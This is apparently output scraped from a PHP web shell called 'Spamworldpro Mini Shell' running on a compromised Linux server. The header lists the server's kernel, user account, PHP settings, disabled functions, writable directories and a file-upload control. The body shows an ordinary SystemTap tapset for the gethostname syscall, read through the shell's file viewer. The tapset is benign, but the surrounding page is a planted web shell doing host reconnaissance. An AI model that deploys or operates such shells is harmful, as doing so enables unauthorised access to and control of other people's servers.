Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/rh/gcc-toolset-11/root/usr/share/systemtap/tapset/linux/sysc_gethostname.stp
# gethostname ________________________________________________
# long sys_gethostname(char __user *name, int len)

@define _SYSCALL_GETHOSTNAME_NAME
%(
	name = "gethostname"
%)

@define _SYSCALL_GETHOSTNAME_ARGSTR
%(
	argstr = sprintf ("%p, %d", name_uaddr, len)
%)

probe syscall.gethostname = dw_syscall.gethostname !, nd_syscall.gethostname ? {}
probe syscall.gethostname.return = dw_syscall.gethostname.return !, nd_syscall.gethostname.return ? {}

# dw_gethostname _____________________________________________________

probe dw_syscall.gethostname = kernel.function("sys_gethostname").call ?
{
	@_SYSCALL_GETHOSTNAME_NAME
	name_uaddr = $name
	len = __int32($len)
	@_SYSCALL_GETHOSTNAME_ARGSTR
}
probe dw_syscall.gethostname.return = kernel.function("sys_gethostname").return ?
{
	@_SYSCALL_GETHOSTNAME_NAME
	@SYSC_RETVALSTR($return)
}

# nd_gethostname _____________________________________________________

probe nd_syscall.gethostname = kprobe.function("sys_gethostname") ?
{
	@_SYSCALL_GETHOSTNAME_NAME
	asmlinkage()
	name_uaddr = pointer_arg(1)
	len = int_arg(2)
	@_SYSCALL_GETHOSTNAME_ARGSTR
}
probe nd_syscall.gethostname.return = kprobe.function("sys_gethostname").return ?
{
	@_SYSCALL_GETHOSTNAME_NAME
	@SYSC_RETVALSTR(returnval())
}

Spamworldpro Mini